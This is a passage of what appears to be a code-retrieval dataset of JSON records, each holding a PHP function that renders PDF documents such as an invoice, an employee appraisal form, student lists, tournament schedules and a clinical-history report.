</td>\n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: right; vertical-align: middle;\">\n <input type=\"\" name=\"\" style=\"height: 16px;background-color: #F1F1F2;border: 1px solid #F1F1F2;padding: 5px 8px;width: 90px;\">\n </td>\n\n </tr>\n </tbody>\n </table>\n\n\n </td>\n \n </tr>\n \n </tbody>\n </table>\n </div>\n\n <div class=\"Quotation-body\" style=\"border:1px solid #000; padding: 10px;\">\n\n\n\n <table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n <tbody>\n <tr>\n <td id=\"second_left\" width=\"65%\" class=\"text-left\" valign=\"top\">\n <p style=\"line-height: 1.6;font-size: 13px;font-weight: 500;margin-top: 0;\">\n <b style=\"font-weight:700;\">Bill to:</b><br>\n AbCD <br>\n Abdullah Naeem<br>\n Malaz<br>\n Riyadh, AL Riyadh 11242\n </p>\n <p style=\"line-height: 1.6;font-family: sans-serif;font-size: 13px;font-weight: 500;margin-top: 0;\">\n <strong>Ship to:</strong><br>\n AbCD <br>\n Abdullah Naeem<br>\n Malaz<br>\n Riyadh, AL Riyadh 11242\n </p>\n </td>\n <td id=\"second_right\" width=\"35%\" class=\"text-right\" valign=\"top\">\n <table id=\"invoice_fields\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" class=\"text-right float-right\" style=\" float: right;\">\n <tbody>\n <tr>\n <td class=\"text-right\" style=\"line-height: 1.6;font-family: sans-serif;font-size: 13px;font-weight: 500;margin-top: 0;\">\n <strong>Invoice #</strong>\n </td>\n <td style=\"line-height: 1.6;font-family: sans-serif;font-size: 13px;font-weight: 500;margin-top: 0;padding-left:20px;\" class=\"text-left\">\n 00001 \n </td>\n </tr>\n <tr>\n <td class=\"text-right\" style=\"line-height: 1.6;font-family: sans-serif;font-size: 13px;font-weight: 500;margin-top: 0;\"><strong>Invoice Date</strong></td>\n <td style=\"line-height: 1.6;font-family: sans-serif;font-size: 13px;font-weight: 500;margin-top: 0;padding-left:20px;\" class=\"text-left\">22/04/2021</td>\n </tr>\n <tr>\n <td class=\"text-right\" style=\"line-height: 1.6;font-family: sans-serif;font-size: 13px;font-weight: 500;margin-top: 0;\"><strong>Due Date</strong></td>\n <td style=\"line-height: 1.6;font-family: sans-serif;font-size: 13px;font-weight: 500;margin-top: 0;padding-left:20px;\" class=\"text-left\">23/04/2021</td>\n </tr>\n </tbody>\n </table>\n </td>\n </tr>\n </tbody>\n </table>\n <table cellspacing=\"0\" cellpadding=\"2\" border=\"0\" width=\"100%\" id=\"listing_table\" class=\"invoice-listing-table total-table\" style=\"\">\n <tbody>\n <tr>\n <th width=\"\" bgcolor=\"#E5E5E5\" style=\"border-left:1px solid #555;\">Item</th>\n <th width=\"210\" bgcolor=\"#E5E5E5\">Description</th>\n <th width=\"80\" bgcolor=\"#E5E5E5\">Unit Price</th>\n <th width=\"40\" bgcolor=\"#E5E5E5\">Qty</th>\n <th width=\"60\" bgcolor=\"#E5E5E5\">Subtotal</th>\n </tr>\n <tr>\n <td width=\"\">Business Card</td>\n <td width=\"210\">Business Card</td>\n <td width=\"80\">100.00</td>\n <td width=\"40\">1</td>\n <td width=\"80\">100.00</td>\n </tr>\n <tr>\n <td width=\"\">Letterhead</td>\n <td width=\"210\">Letterhead</td>\n <td width=\"80\">560.00</td>\n <td width=\"40\">1</td>\n <td width=\"80\">560.00</td>\n </tr>\n <tr class=\"\">\n <td style=\"border:none\" bgcolor=\"#FFF\" colspan=\"2\"></td>\n <td style=\"border-left:none;border-right:none;\" colspan=\"2\"><strong>Subtotal:</strong></td>\n <td style=\"border-left:none;border-right:none;\" class=\"text-left\">660.00 SR</td>\n </tr>\n <tr class=\"\">\n <td style=\"border:none\" bgcolor=\"#FFF\" colspan=\"2\"></td>\n <td style=\"border-left:none;border-right:none;\" colspan=\"2\"><strong>Discount:</strong></td>\n <td style=\"border-left:none;border-right:none;\" class=\"text-left\">-33.00 SR</td>\n </tr>\n <tr class=\"\">\n <td style=\"border:none\" bgcolor=\"#FFF\" colspan=\"2\"></td>\n <td style=\"border-left:none;border-right:none;\" colspan=\"2\"><strong>VAT (15%):</strong></td>\n <td style=\"border-left:none;border-right:none;\" class=\"text-left\">99.00 SR</td>\n </tr>\n <tr class=\"total-row\">\n <td style=\"border:none\" bgcolor=\"#FFF\" colspan=\"2\"></td>\n <td style=\"border-left:none;border-right:none;\" colspan=\"2\"><strong>Total:</strong></td>\n <td style=\"border-left:none;border-right:none;\" class=\"text-left\">759.00 SR</td>\n </tr>\n <tr>\n <td style=\"border:none\" bgcolor=\"#FFF\" colspan=\"2\"></td>\n <td style=\"border-left:none;border-right:none;\" colspan=\"2\"><strong>Paid:</strong></td>\n <td style=\"border-left:none;border-right:none;\" class=\"text-left\">759.00 SR</td>\n </tr>\n <tr>\n <td style=\"border:none\" bgcolor=\"#FFF\" colspan=\"2\"></td>\n <td style=\"border-left:none;border-right:none;\" colspan=\"2\"><strong>Balance Due:</strong></td>\n <td style=\"border-left:none;border-right:none;\" class=\"text-left\">0.00 SR</td>\n </tr>\n </tbody>\n </table>\n </div>\n <div class=\"Quotation-footer\" style=\"padding-top: 5px;\n padding-bottom: 5px;\">\n <table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n <tbody>\n <tr>\n \n <td style=\"line-height: 1.6;font-family: sans-serif;font-size: 13px;font-weight: 600;padding:2px 0px;text-align: left;direction: rtl;\">\n <span class=\"arabic\" dir=\"rtl\" lang=\"ar\">\n ﻧﺎﻣﻞ ان ﻳﻨﺎل ﻋﺮﺿﻨﺎ ﻫﺬا رﺿﺎﻛﻢ واﺳﺘﺤﺴﺎﻧﻜﻢ ﻋﻠﻰ أﻣﻞ ﺗﺰوﻳﺪﻧﺎ ﺑﺎﻟﺘﻌﻤﻴﺪ اﻟﺮﺳﻤﻲ ﻟﻠﻄﺒﺎﻋﻪ ﻓﻲ اﻗﺮب وﻗﺖ وﻟﻜﻢ ﺟﺰﻳﻞ اﻟﺸﻜﺮ واﻟﺘﻘﺪﻳﺮ </span>\n </td>\n </tr>\n <tr>\n <td style=\"line-height: 1.6;font-family: sans-serif;font-size: 14px;font-weight: 600;padding:2px 0px;text-align: left;\">\n Hope the above offer will meet your requirements:\n </td>\n </tr>\n <tr>\n <td style=\"line-height: 1.6;font-family: sans-serif;font-size: 14px;font-weight: 600;padding:2px 0px;text-align: left;\">\n look forward to receiving your Acceptance and the official purchase order very soon.\n </td>\n </tr>\n \n </tbody>\n </table>\n </div>\n\n <div class=\"Quotation-footer\" style=\"padding-top: 5px;padding-bottom: 5px;\">\n <table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n <tbody>\n \n <tr>\n <td style=\"line-height: 1.6;font-size: 15px;font-weight: 600;padding: 5px 0px;text-align: left;\">\n AL DEYAR AL SAUDIYAH |\n <span class=\"arabic\" style=\"direction: rtl;font-size: 18px;\" dir=\"rtl\" lang=\"ar\">ﻣﻄﺒﻌﻪ اﻟﺪﻳﺎر اﻟﺴﻌﻮدﻳﻪ </span>\n </td>\n </tr>\n <tr>\n <td class=\"text-left\" valign=\"top\" width=\"40%\">\n <p style=\"line-height: 1.6;font-size: 14px;font-weight: 500;margin-top: 0;\">\n <b>Account Number at NCB:</b> 23164203000102<br>\n <b> IBAN/</b> SA15 1000 0023 1642 0300 0102 <br>\n <b> Account Number at Al Rajhi BANK:</b> 125608010971109 <br>\n <b> IBAN/</b> SA63 8000 0125 6080 1097 1109 <br>\n <b> Payment Terms</b> <br>\n <b> Advance payment with P.O.: 50%</b> <br>\n \"The buyer must pay the delivery of sample goods.\n\n\n </p>\n </td>\n \n </tr>\n </tbody>\n </table>\n </div>\n \n </div>\n </div>\n </div>\n</body>\n</html>';\n\t\t\n\t\t\n\n\t\t$this->pdf->loadHtml($html);\n\t\t\t$this->pdf->render();\n\t\t\t$this->pdf->stream(\"test\".\".pdf\", array(\"Attachment\"=>0));\n\n\n\t\t\n\t\t//$this->pdf->createPDF($html, 'mypdf', false);\n\n\t\t\n\t\t//$this->template->load('admin_blank','payment_invoice_view',$data);\n\t\t\n\t\t//$content = $this->output->get_output($data); \n\t\t\n\t\t//$html=$this->load->view('payment_invoice_view', $data, true);\n\t\t\n\t\t//print $html;\n\t\t//exit;\n\t\t\n\t\t//$html = $this->load->view('pdf_view', [], true);\n\t\t\n\t\t//print $html;\n\t\t\n\t\t//$this->pdf->createPDF($html, 'mypdf', false);\n\t\t}", "title": "" }, { "docid": "c97bb25d1d557f31fd2e8e5ca78fb200", "score": "0.70305353", "text": "function Cabecera($pdf) {\r\n\t$pdf->AddPage();\r\n\t$pdf->Image('../imagenes/logos/contraloria.jpg', 10, 10, 10, 10);\t\r\n\t$pdf->SetFont('Arial', 'B', 8);\r\n\t$pdf->SetXY(20, 10); $pdf->Cell(190, 5,utf8_decode( 'Contraloría del Estado Monagas'), 0, 1, 'L');\r\n\t$pdf->SetXY(20, 15); $pdf->Cell(190, 5, utf8_decode('Dirección de Recursos Humanos'), 0, 1, 'L');\r\n\t$pdf->SetFont('Arial', 'B', 10);\r\n\t$pdf->Cell(190, 10, utf8_decode('Consumo por Institución'), 0, 1, 'C');\t\r\n\t$pdf->SetDrawColor(255, 255, 255); $pdf->SetFillColor(255, 255, 255); $pdf->SetTextColor(0, 0, 0);\r\n\t$pdf->SetFont('Arial', 'B', 6);\r\n\t$pdf->SetWidths(array(15, 135, 40));\r\n\t$pdf->SetAligns(array('C', 'L', 'R'));\r\n\t$pdf->Row(array(utf8_decode('Nro Caso'), utf8_decode('Descripción'), 'Monto'));\r\n\t$pdf->SetDrawColor(0, 0, 0); $pdf->SetFillColor(0, 0, 0); $pdf->SetTextColor(0, 0, 0);\r\n\t$y=$pdf->GetY();\r\n\t$pdf->Rect(5, $y, 200, 0.1, \"DF\");\r\n\t$pdf->Ln(2);\r\n}", "title": "" }, { "docid": "a93ea623c18eb0ec095e8941e2617e4c", "score": "0.7027444", "text": "public function pdflistaEstudiantes()\n {\n // $persona=Persona::findOrFail($id); \n $persona = Persona::all();\n $carreras = Carrera::all();\n $estudiantes = Estudiante::all();\n $user = user::all();\n $departamento = Departamento::all();\n $facultades = Facultad::all();\n\n $pdf = \\PDF::loadview('ues.estudiantes.listaEst', array('carreras' => $carreras, 'persona' => $persona, 'user' => $user, 'estudiantes' => $estudiantes, 'departamento' => $departamento, 'facultades' => $facultades))->setPaper('letter', 'portrait');\n return $pdf->stream('Lista_Estudiantes_Activos.pdf');\n }", "title": "" }, { "docid": "9a53491fbdcbbc5ca20ec39d99631dd9", "score": "0.7022764", "text": "public function form_penilaian()\r\n {\r\n $pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, 'UTF-8', false);\r\n // document informasi\r\n $pdf->SetCreator('PT. Astrindo Senayasa');\r\n $pdf->SetTitle('Laporan Data Karyawan');\r\n $pdf->SetSubject('Karyawan penilaian');\r\n //header Data\r\n $pdf->SetHeaderData('logo.jpg',30,'PT. Astrindo Senayasa','Mangga Dua Square Blok G 24, Jalan Gunung Sahari Raya, Pademangan, RT.12/RW.6, Jakarta Utara, Daerah Khusus Ibukota Jakarta.',array(0, 0, 0),array(0, 0, 0));\r\n $pdf->SetFooterData(array(255, 255, 255), array(255, 255, 255));\r\n $pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->setFooterFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));\r\n $pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);\r\n //set margin\r\n $pdf->SetMargins(PDF_MARGIN_LEFT,PDF_MARGIN_TOP - 6,PDF_MARGIN_RIGHT);\r\n $pdf->SetHeaderMargin(PDF_MARGIN_HEADER);\r\n $pdf->SetFooterMargin(PDF_MARGIN_FOOTER);\r\n $pdf->SetAutoPageBreak(FALSE, PDF_MARGIN_BOTTOM - 5);\r\n //SET Scaling ImagickPixel\r\n $pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);\r\n //FONT Subsetting\r\n $pdf->setFontSubsetting(true);\r\n $pdf->SetFont('helvetica','',6,'',true);\r\n $pdf->AddPage('P');\r\n \r\n $html=\r\n '<div>\r\n <h1 align=\"center\">FORM PENILAIAN TAHUNAN KARYAWAN</h1>\r\n <table>\r\n <tbody>\r\n <tr>\r\n <td width=\"20%\"> Nama Lengkap </td>\r\n <td width=\"1%\">:</td>\r\n <td>.....................................................................</td>\r\n </tr>\r\n <tr>\r\n <td width=\"20%\"> NIK </td>\r\n <td width=\"1%\">:</td>\r\n <td>.....................................................................</td>\r\n </tr>\r\n <tr>\r\n <td width=\"20%\"> Departemen</td>\r\n <td width=\"1%\">:</td>\r\n <td>.....................................................................</td>\r\n </tr>\r\n <tr>\r\n <td width=\"20%\"> Tanggal Masuk </td>\r\n <td width=\"1%\">:</td>\r\n <td>.....................................................................</td>\r\n </tr>\r\n <tr>\r\n <td width=\"20%\"> Jabatan </td>\r\n <td width=\"1%\">:</td>\r\n <td>.....................................................................</td>\r\n </tr>\r\n <tr>\r\n <td width=\"20%\"> Penilai (Atasan Langsung)</td>\r\n <td width=\"1%\">:</td>\r\n <td>.....................................................................</td>\r\n </tr>\r\n <tr>\r\n <td width=\"20%\"> Jabatan Penilai</td>\r\n <td width=\"1%\">:</td>\r\n <td>.....................................................................</td>\r\n </tr>\r\n </tbody>\r\n </table>\r\n\r\n <p><b>PETUNJUK PENILAIAN</b></p>\r\n <p>Nilai dibawah ini digunakan untuk Penilaian Karyawan:</p>\r\n <table>\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">4</td>\r\n <td style=\"width:600px\"> <b>Sangat Baik :</b> Secara keseluruhan kinerja Karyawan istimewa dan melampaui standard/target yang diberikan. Berjasa memberi nilai tambah suatu hasil nilai kerja, menghasilkan karya yang meningkatkan produktifitas/kualitas secara nyata.</td>\r\n </tr>\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">3</td>\r\n <td style=\"width:600px\"> <b>Baik :</b> Kinerja Karyawan sesuai/sedikit di atas standard/target yang ditetapkan. Target terlampaui. Bisa diandalkan dan diberi tanggung jawab lebih.</td>\r\n </tr>\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">2</td>\r\n <td style=\"width:600px\"> <b>Cukup :</b> Kinerja Karyawan sedikit di bawah standard. Beberapa target tidak tercapai. Masih memerlukan bantuan/arahan/bimbingan.</td>\r\n </tr>\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">1</td>\r\n <td style=\"width:600px\"> <b>Sangat Kurang :</b> Kinerja Karyawan di bawah standard, hampir tidak memenuhi semua standard/target kerja. Membutuhkan bantuan/bimbingan/arahan yang sangat intensif.</td>\r\n </tr>\r\n <tr>\r\n <td style=\"width:20px\" align=\"center\">-1</td>\r\n <td style=\"width:600px\"> <b>Buruk :</b> Kinerja karyawan jauh di bawah standard, tidak memenuhi semua standard/target kerja. Kinerja karyawan perlu di tinjau kembali.</td>\r\n </tr>\r\n </table>\r\n\r\n <p><b>A. General Kriteria</b></p>\r\n <p style=\"font-size: 6px;\">Dibawah ini adalah beberapa hal yang harus diperhatikan oleh semua karyawan. Berikan penilaian Anda sebagai Karyawan lalu diskusikan dengan Ataan Anda\r\n sampai menghasilkan nilai akhir yang disetujui kedua belah pihak. Atasan memberikan umpan balik bila ada. Bobot bagian ini adalah 40%.</p>\r\n\r\n <table border=\"0.5\">\r\n <tr>\r\n <td width=\"20px\" align=\"center\" rowspan=\"2\"><b>No</b></td>\r\n <td width=\"510px\" align=\"center\" rowspan=\"2\"><br><b>General Kriteria</b></td>\r\n <td width=\"90px\" align=\"center\" colspan=\"2\"><b>Nilai</b></td> \r\n </tr>\r\n <tr>\r\n <td align=\"center\" valign=\"middle\">Karyawan</td>\r\n <td align=\"center\" >Atasan <br>Langsung</td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">1</td>\r\n <td> <b>INTEGRITAS</b><br> Kejujuran dalam melaksanakan tugas & tanggung jawab termasuk didalamnya kosistensi & tidak melakukan kecurangan yang dapat merugikan perusahaan <i><br style=\"font-size: 6px;\"> \r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i> <br> 1. <br> 2. <br> 3.</td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">2</td>\r\n <td> <b>KOMUNIKASI</b><br> Kemampuan untuk menyampaikan berbagai hal yang menyangkut pekerjaan & berinteraksi secara jelas serta dapat dipahami oleh semua pihak <i><br style=\"font-size: 6px;\">\r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i> <br> 1. <br> 2. <br> 3.</td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td rowspan=\"2\" align=\"center\">3</td>\r\n <td> <b>KEMAMPUAN MEMECAHKAN MASALAH & MEMBUAT KEPUTUSAN</b><br> a. menganalisa, menangani, dan memecahkan masalah-masalah sulit <i><br style=\"font-size: 6px;\"> \r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i>. <br> a.1. <br> a.2. <br> a.3.</td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td> b. membuat keputusan <br>\r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.<br> b.1. <br> b.2. <br> b.3.</td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td rowspan=\"2\" align=\"center\">4</td>\r\n <td> <b>KERJASAMA</b><br> a. kemampuan untuk kerjasama dengan intern dept <i><br style=\"font-size: 6px;\"> \r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i> <br> a.1. <br> a.2. <br> a.3.</td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td> b. kemampuan untuk kerjasama dengan intra dept <i><br style=\"font-size: 6px;\"> \r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i> <br> b.1. <br> b.2. <br> b.3.</td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">5</td>\r\n <td> <b>INISIATIF</b><br> Melakukan pengembangan terhadap hal-hal yang sudah menjadi lebih efektif & efisien <i><br style=\"font-size: 6px;\"> \r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i> <br> 1. <br> 2. <br> 3.</td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td rowspan=\"2\" align=\"center\">6</td>\r\n <td> <b>INOVASI</b><br> Mencipatakan ide-ide baru yang belum pernah ada sebelumnya <i><br style=\"font-size: 6px;\"> \r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i> <br> a.1. <br> a.2. <br> a.3.</td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td> b. pelaksanaan atas ide baru <i><br style=\"font-size: 6px;\"> \r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i> <br> b.1. <br> b.2. <br> b.3.</td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">7</td>\r\n <td> <b>DISIPLIN</b><br> Penilaian dilakukan terhadap perilaku Karyawan dalam memenuhi standar yang ditetapkan Perusahaan\r\n sebagaimana tercantum dalam peraturan Perusahaan maupun aturan lain yang berlaku di Perusahaan, Misal: penilaian mengenai hari\r\n produktif dan ketepatan waktu yang ditunjukan Karyawan berdasarkan catatan waktu, kepatuhan terhadap peraturan Perusahaan. <i><br style=\"font-size: 6px;\"> \r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i> <br> 1. <br> 2. <br> 3. </td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td align=\"center\">8</td>\r\n <td> <b>LAPORAN</b><br> Menyampaikan laporan kerjasama secara: <i><br style=\"font-size: 6px;\"> \r\n Sebutkan 3 implementasi yang telah dilakukan untuk hal tersebut diatas.</i> <br> 1. <br> 2. <br> 3. </td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td colspan=\"2\"><b> Total Nilai:</b></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n <tr>\r\n <td colspan=\"2\"><b> Rata-Rata Nilai:</b></td>\r\n <td></td>\r\n <td></td>\r\n </tr>\r\n </table>\r\n </div>';\r\n\r\n $html.='<p>AST-CRM-HRG-024 Rev. 02 10-03-2017 | '.date(\"d-m-Y\", time()) .'</p>';\r\n $pdf->writeHTMLCell(0, 0, '', '', $html, 0, 0, 0, true, '', true);\r\n $pdf->Output('form_penilaian'.date(\"d-m-Y\", time()) .'.pdf','I');\r\n }", "title": "" }, { "docid": "eeed7bc65eaf4cee11288e97a9d8e4cd", "score": "0.7021713", "text": "public function cetak_user(){\n $data['masyarakat'] = $this->model_system->view_masyarakat();\n\n $this->load->library('pdf');\n $this->pdf->setPaper('A4','potrait');\n $this->pdf->filename = 'laporan-user.pdf';\n $this->pdf->load_view('admin/pdf_user', $data);\n }", "title": "" }, { "docid": "384d2ca2aa417eeac663a7aa6003f3a8", "score": "0.70016515", "text": "public function programacionTecnicoPdf(Request $request, $idtorneo){\n $protorneo = DB::table('programacions as a')\n ->join('torneos as b','a.idtorneo','=','b.id')\n ->select('b.nombre as torneo')\n ->where('b.id', '=', $idtorneo)\n ->orderBy('a.id','asc')->take(1)->get();\n\n $programacion = DB::table('programacions as a')\n ->join('equipos as equipoa','a.equipo_a','=','equipoa.id')\n ->join('equipos as equipob', 'a.equipo_b','=','equipob.id') \n ->join('torneos as c','a.idtorneo','=','c.id')\n //->join('sedes as e','a.idsede','=', 'e.id')\n ->select('a.id','a.jornada','equipoa.nombre as equipoA','equipob.nombre as equipoB','a.fecha','a.hora') \n ->where('c.id','=',$idtorneo)\n ->orderBy('a.id','asc')\n ->get();\n $pdf = \\PDF::loadView('pdf.programacionTecnico',['protorneo'=>$protorneo, 'propartido'=>$programacion]);\n return $pdf->stream('programacionTecnico.pdf');\n /*SELECT a.id, a.jornada, equipoa.nombre, equipob.nombre,c.nombre from programacions as a \n INNER JOIN equipos as equipoa on a.equipo_a =equipoa.id \n INNER JOIN equipos as equipob ON a.equipo_b=equipob.id\n inner JOIN torneos as c on a.idtorneo= c.id*/\n }", "title": "" }, { "docid": "86e98300297ddd8d8564d03ec2436cff", "score": "0.70006925", "text": "public function get_pdf_poa_unidad(){\n if($this->input->is_ajax_request() && $this->input->post()){\n $post = $this->input->post();\n $proy_id = $this->security->xss_clean($post['proy_id']); // proy id\n\n $get_pdf=$this->model_estructura_org->get_poa_scanneado_unidad($proy_id);\n $tabla='<hr><iframe id=\"ipdf\" width=\"100%\" height=\"800px;\" src=\"'.base_url().'scanneados_uni/'.$get_pdf[0]['archivo_pdf'].'\"></iframe>';\n\n $result = array(\n 'respuesta' => 'correcto',\n 'tabla'=>$tabla,\n );\n \n echo json_encode($result);\n }else{\n show_404();\n }\n }", "title": "" }, { "docid": "2650a80d915fd1e33591691d71213b65", "score": "0.6999094", "text": "public function getStrRptHistoriaClinicaPacienteGeneral()\r\n {\r\n define('FPDF_FONTPATH',FONT_PATH);\r\n include_once ( CLASS_PATH . \"class.clfpdf.php\" );\r\n\r\n //Limpia el buffer si no sale un error\r\n ob_end_clean();\r\n\r\n $fechaimpresion = date(\"Y/m/d H:i:s a\");\r\n\r\n\r\n //create a FPDF object\r\n $pdf = new FPDF('P' , 'mm' , 'A4');\r\n\r\n //set document properties\r\n $pdf->SetAuthor('CPCH - KOICA');\r\n $pdf->SetTitle('Recibo Servicio');\r\n\r\n //encabezado\r\n $pdf->setStrTipoEncabezado(10);\r\n $pdf->Header();\r\n //\r\n //Envia a otra pagina\r\n $pdf->setAutoPagebreak(true,'');\r\n\r\n //set font for the entire document\r\n $pdf->SetFont('Arial','B',35);\r\n $pdf->SetTextColor(50,60,100);\r\n\r\n //set up a page\r\n $pdf->AddPage('P');\r\n $pdf->SetDisplayMode(75,'default');\r\n\r\n //insert an image and make it a link\r\n //$pdf->Image('logo.png',10,20,33,0,' ','http://www.fpdf.org/');\r\n\r\n $query = new clQuery();\r\n\r\n //Nombre Procedimientos Almacenados\r\n $ProcedimientoAlmacenado = sprintf(\"CALL sprpthistoriaclinicapacientegeneral('%d');\", $this->getStrNumeroHistoriaClinicaPaciente());\r\n $query->setStrProcedimientoAlmacenado($ProcedimientoAlmacenado);\r\n $resultado = $query->getStrSqlSelect();\r\n\r\n if( count($resultado) > 0 ) {\r\n foreach( $resultado as $rst):\r\n $pdf->Ln(2);\r\n\r\n $NHC = \"\";\r\n switch (strlen($rst[\"nhc\"])){\r\n case 1:\r\n $NHC = \"0000\".$rst[\"nhc\"];\r\n break;\r\n case 2:\r\n $NHC = \"000\".$rst[\"nhc\"];\r\n break;\r\n case 3:\r\n $NHC = \"00\".$rst[\"nhc\"];\r\n break;\r\n case 4:\r\n $NHC = \"0\".$rst[\"nhc\"];\r\n break;\r\n default:\r\n $NHC = $rst[\"nhc\"];\r\n break;\r\n }\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('MEDICO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(100,5,utf8_decode(utf8_encode($rst[\"medico\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('FECHA VISITA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"fechahistoriaclinica\"])),1,1,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('SERVICIO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"departamento\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('UNIDAD: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(50,5,utf8_decode(utf8_encode($rst[\"unidad\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('EDADES: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"subarea\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('NHC: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($NHC)),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('CEDULA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"cedula\"])),1,0,'C',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('PACIENTE: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(90,5,utf8_decode(utf8_encode($rst[\"paciente\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('SEXO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"sexo\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('ESTADO CIVIL: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(30,5,utf8_decode(utf8_encode($rst[\"estadocivil\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('TIPO SANGRE: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(20,5,utf8_decode(utf8_encode($rst[\"tiposangre\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('PROVINCIA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"provincia\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('CANTON: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"canton\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('PARROQUIA: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(40,5,utf8_decode(utf8_encode($rst[\"parroquia\"])),1,1,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(20,5,utf8_decode('DIRECCION: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"direccion\"])),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','B',9);\r\n $pdf->Cell(30,5,utf8_decode('TELEFONO: '),1,0,'L',0);\r\n\r\n $pdf->SetFont('Arial','',8);\r\n 